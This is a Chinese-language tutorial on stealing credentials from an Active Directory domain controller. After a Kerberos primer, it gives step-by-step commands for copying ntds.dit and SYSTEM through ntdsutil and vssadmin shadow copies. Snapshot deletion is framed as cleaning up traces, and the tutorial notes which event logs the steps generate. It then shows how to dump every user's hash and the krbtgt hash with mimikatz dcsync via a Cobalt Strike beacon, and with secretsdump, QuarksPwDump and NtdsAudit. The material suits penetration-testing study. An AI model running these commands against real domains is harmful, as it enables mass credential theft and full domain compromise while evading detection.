域内密码凭证获取

1.Kerberos 协议简介

(1)Kerberos 简介

Kerberos是一种基于密钥的网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。

该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,Kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证

服务的。

(2)参与域认证的角色

1.Client:希望访问服务的用户或应用程序。

2.Server:提供服务的应用程序或系统。

3.KDC:(Key Distribution Center)密钥分发中心,作为可信的第三方,负责分发加密密钥和认证票据。

  1. DC Domain Controller 域控制器

通俗解释:整个 Windows 局域网(域)的总管理服务器,公司所有电脑、员工账号都归它管。

截图原话:AD、AS、TGS、KDC 物理上全部在 DC 里。

5.AD Account Database 账户数据库

位置:域控 DC 本地数据库

作用:存所有域用户、服务器服务账号的用户名 + NTLM 哈希

类比:公司人事档案库,记录所有人的身份凭证

关键:KDC 加密 / 解密所有票据,都要从这里拿哈希,是 Kerberos 的底层基础

6.KDC Key Distribution Center 密钥分发中心

核心定义:DC 上专门负责发放、校验票据的整套服务,是 Kerberos 的认证中枢

组成 = AS + TGS 两个子服务,二者分工不同

  1. AS Authentication Server 认证服务器

职责:处理用户第一次登录的请求,校验账号密码,发放 TGT 票据

工作逻辑:你输域账号密码登录电脑,第一个对接的就是 AS

依赖:读取 AD 里你的用户 NTLM 哈希,验证你身份真假

8.TGS Ticket-Granting Server 票据授予服务器

职责:不能直接用密码访问服务器,必须拿 TGT 来找 TGS 换服务票据 ST

工作逻辑:你要连 RDP 服务器 / 共享盘时,带着 TGT 找 TGS,换取对应服务器的专属门票 ST

(3)流程:

步骤 1:

客户端向 AS 申请 TGT(开机输密码阶段)

用户开机,输入域账号 + 密码登录电脑;

客户端用密码算出自身 NTLM 哈希,加密身份请求包,发给域控里的 AS;

AS 查询本地 AD 数据库,取出该用户的 NTLM 哈希,解密数据包核对身份是否正确;

校验通过,AS 生成两份数据返回客户端:

① TGT 票据:使用域控专属krbtgt账号哈希加密,只有 KDC(AS/TGS)能解开;票据里包含你的用户名、SID、用户会话密钥、10 小时有效期;

② 用户会话密钥:用你的 NTLM 哈希加密,客户端解密后存内存;

客户端把 TGT、用户会话密钥 缓存到 lsass.exe 进程内存。

关键:TGS 不处理密码校验,只有 AS 有权限核对你的原始账号密码。

步骤 2:客户端携带 TGT,向 TGS 发起换票请求(想要访问服务器时触发)

现在你要远程桌面连接内网某台服务器,客户端组装请求包发给 TGS:

内存中取出缓存好的 TGT;

写明要访问的目标服务器名称;

用「用户会话密钥」加密整套请求内容;

发送数据包给域控的 TGS。

硬性规则:TGS 只认 TGT,没有 TGT,直接拒绝给你发放 ST。

步骤 3:TGS 校验 TGT,生成并下发 ST(服务票据)

TGS 使用 krbtgt 哈希解开 TGT,拿到里面的用户会话密钥;

用用户会话密钥解密客户端的请求,确认用户身份合法、票据未过期;

TGS 查询 AD 数据库,取出目标服务器的服务账号 NTLM 哈希;

生成 ST 服务票据:用目标服务器自身哈希加密,票据内写入你的身份、访问权限;

将 ST + 服务会话密钥 返回客户端,存入 lsass 内存。

关系总结:没有 TGT → TGS 不会生成 ST;TGT 是换取 ST 的唯一通行证。

限制:一张 ST只能访问这一台指定服务器,不能通用到其他机器。

步骤 4:客户端携带 ST,连接目标业务 Server

客户端发起 RDP / 文件共享连接,发送两组数据给目标服务器:

加密的 ST 票据(只有目标服务器能解密);

验证数据包(用服务会话密钥加密)。

步骤 5:服务器解密 ST,完成身份校验,允许访问

目标服务器读取自身服务账号的 NTLM 哈希,解开 ST 票据;

从 ST 中读取你的用户名、权限,解密验证包完成双向身份确认;

校验全部通过,建立 RDP / 文件共享会话,你成功登录服务器;

ST 会短期缓存,短时间内重复访问该服务器,不用再找 TGS 换票。

2.活动目录数据库

(1)Ntds.dit

活动目录数据库(NTDS.DIT)

Ntds.dit 是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在 SYSTEM 注册表配置单元中的密钥对这些哈希值进行加密。第二个加密步骤是为了执行密码转储以进行审计,需要两个文件的副本。

非域环境也就是在工作组环境中,有一个sam文件存储着当前主机用户的密码信息,想要破解sam文件与ntds.dit文件都需要拥有一个system文件。

(2)AD DS 数据存储:

由 Ntds.dit 文件构成,默认存储在所有域控制器上的 %SystemRoot%\NTDS 文件夹中

只能通过域控制器进程和协议访问。

Ntds.dit:(也被称为Active Directory database)包含了当前域中所有的用户的账号信息,和其HASH值。通过获取 Ntds.dit 和 SYSTEM 文件的副本,最可靠的执行密码审计的方法是脱机的。

由于Windows阻止这些操作阻止标准读取或复制,因此必须使用特殊技术来获取副本。

复制代码
ntds.dit文件位置: C:\Windows\NTDS\NTDS.dit
system文件位置:C:\Windows\System32\config\SYSTEM
sam文件位置:C:\Windows\System32\config\SAM

(3)总结:活动目录数据库

1.由 NTDS.DIT 文件构成,是Active Directory的核心

2.存储在域控的 %SystemRoot%\ntds\ 文件夹下

3.只能通过域控制器进程和协议访问

在工作组环境中,SAM文件存储着当前主机用户的密码哈希值

在域环境中,NTDS.DIT文件存储了域中所有用户的密码哈希值

因此我们可以通过获取到这两个文件,然后破解得到其中所存储的密码哈希值。

Windows系统为了进一步保护存储的密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

因此想要破解SAM文件与NTDS.DIT文件都需要获取一个SYSTEM文件。

(4)安全性:

1.加密保护:

为了进一步保护存储的密码哈希值,Windows使用存储在sYsTEM注册表配置单元中的密钥对这些哈希值进行加密。

2.访问控制:

Windows系统通过访问控制列表(ACLs)限制对这些关键文件的访问,防止未授权的读取或复制。

3.特殊访问方法

(1)系统保护:由于Windows系统会阻止对这些文件的标准读取或复制操作,常规的复制方法无法获取到文件副

本。

(2)特殊工具:需要使用专门的工具或技术(如Windows的Volume Shadow Copy Service或第三方取证工具)来获取这些文件的副本。

3.Volume Shadow Copy

Volume Shadow Copy Service 卷影复制服务(VSS)是微软从 Windows XP 开始提供的用于创建一致性的时间点副本(也就是快照)的服务框架。用于更好的备份和还原关键业务数据。当所有组件都支持VSS时,可以使用它们来备份应用程序数据,而无需使应用程序脱机。

1.用于数据备份

2.支持 Windows Server 2003 及以上操作系统,系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定

3.禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup

我们可以利用 Volume Shadow Copy Service 来获取 NTDS.DIT、SAM、SYSTEM 等文件副本。

**注意:

  1. 调用 Volume Shadow Copy 服务会产生SYSTEM日志, 事件 ID 为7036。

  2. 执行( ntdsutil snapshot "activate instance ntds" create quit quit )会额外产生 事件 ID 为 98 的日志**

    hash数量:所有用户
    免杀:不需要
    优点:
    获得信息全面
    简单高效
    无需下载ntds.dit,隐蔽性高

4.NTDSUTIL

Ntdsutil.exe:是一个功能强大的命令行工具,专为Active Directory域服务(AD DS)和Active Directory 轻型目录服务(ADLDS)提供管理功能。它允许管理员执行数据库维护、管理和控制单个主机操作,并删除域控制器的元数据,特别是在域控制器未正确卸载的情况下。

1.功能和用途

· 数据库维护:用于执行ADDS的数据库维护任务。

· 管理和控制:管理和控制单个主机操作。

· 元数据清理:删除未正确卸载的域控制器的元数据。

2.系统支持

· Windows Server 2003

· Windows Server 2008

· Windows Server 2012

· 更高版本的Windows Server

3.使用方法

· 管理员权限:必须以管理员身份运行命令提示符(cmd.exe)。

· 命令行操作:通过命令行界面进行交互式操作。

4.1****交互式

方式一

1.进入ntdsutil命令行

复制代码
ntdsutil

2.进入快照

复制代码
snapshot

3.激活ADDS实例

复制代码
activate instance ntds

4.创建快照

复制代码
create

5.挂载快照

复制代码
mount [GUID]

6.复制ntds.dit(从挂载的目录里面去获取我们想要的文件)

复制代码
copy C: \$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit c: \ntds.dit

7.卸载并删除快照

复制代码
unmount [GuID]
del [GuID]

方式二

1.以管理员身份打开命令提示符(cmd.exe)

2.在命令提示符输入ntdsuti1命令

3.激活ADDS实例

复制代码
activate instance ntds

4.为可写(fulI)和只读域控制器(RODC)和ADLDS实例创建安装介质到指定文件夹中

复制代码
ifm

create full c:\mingy

4.2 非交互

复制代码
1.创建NTDS快照
ntdsutil snapshot "activate instance ntds" create quit quit

2.挂载快照
ntdsutil snapshot "mount {GUID}" quit quit

3.复制域数据库 ntds.dit 到本地临时目录
copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit

4.卸载并删除快照(清理痕迹)
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

4.2.1查询当前系统的快照

复制代码
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

4.2.2创建快照

复制代码
ntdsutil snapshot "activate instance ntds" create quit quit


guid为 {daee5123-b284-47fe-b02e-6e67e8d80fb1}

4.2.3挂载快照

复制代码
ntdsutil snapshot "mount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

快照挂载为 C:\SNAP_201908291617_VOLUMEC\

4.2.4 复制 ntds.dit

复制代码
copy C:\$SNAP_202008271744_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds2.dit

4.2.5 卸载快照

复制代码
ntdsutil snapshot  "unmount {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

4.2.6删除快照

复制代码
ntdsutil snapshot  "delete {daee5123-b284-47fe-b02e-6e67e8d80fb1}" quit quit

5.Vssadmin

Vssadmin:是卷影复制服务(Volume Shadow Copy Service, VSS)的管理命令行工具,用于创建、列出、挂载和删除卷影复制快照。此工具在域环境中默认安装,支持从Windows Server 2003及以上操作系统。

5.1.查询当前系统的快照

复制代码
Vssadmin list shadows

5.2.创建快照

复制代码
Vssadmin create shadow /for=c:

获得 Shadow Copy Volume Name 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

5.3 访问快照中的文件

查看快照列表:

复制代码
vssadmin list shadows

无法直接访问 \?\GLoBALRooT\Device\HarddiskVolumeshadowcopy12 中的文件

可通过创建符号链接访问快照中的文件:

复制代码
mklink /d c: \testvsc I\?\GLOBALROoT\Device \HarddiskVolumeShadowCopy12\

删除符号链接:

复制代码
rd c:\testvsc

5.4复制****ntds.dit

复制代码
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit 
c:\ntds3.dit

5.5删除快照

复制代码
vssadmin delete shadows /for=c: /quiet

6.解密NTDS.DIT文件

6.1 Mimikatz****在线破解

在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的shell上破解。
有一个cs弹回的beacon,就可以在beacon中直接利用mimikatz来破解,这一切的前提是有管理员权限
Mimikatz有一个功能(dcsync),它可以利用目录复制服务(Directory Replication Service, DRS)从NTDS.DIT文件中提取密码哈希值。
使用Mimikatz的 dcsync 功能,可以利用目录复制服务(Directory Replication Service, DRS)从
NTDS.DIT文件中提取密码哈希值。
在获得管理员权限后,通过Cobaltstrike弹回的beacon利用mimikatz模块进行密码Hash提取。

1.获取mingy域内所有用户Hash

复制代码
lsadump::dcsync /domain:mingy.com /all /csv

2.查看单个用户的详细信息

复制代码
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt

3.查看所有用户的详细信息

复制代码
mimikatz lsadump::lsa /inject

6.2 离线破解

离线破解一般需要两步,首先就是将远端域控的 ntds.dit 下载到本地,然后再在本地进行破解。
ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
首先将域控的 NTDS.DIT 和 SYSTEM 文件下载到本地,然后在本地进行破解。

QuarksPwDump:

QuarksPwDump 是一款用于Windows用户凭据提取的开源工具,它可以抓取windows平台下多种类型
的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。

1. 修复复制出来的数据库
复制代码
esentutl /p /o ntds.dit
2. 使用QuarksPwDump直接读取信息并将结果导出至文件
复制代码
QuarksPwDump.exe --dump-hash-domain --output mingy.com.txt --ntds-file ntds.dit

SecretsDump

通过impacket套件中的secretsdump.py脚本

复制代码
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

NtdsAudit

复制代码
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv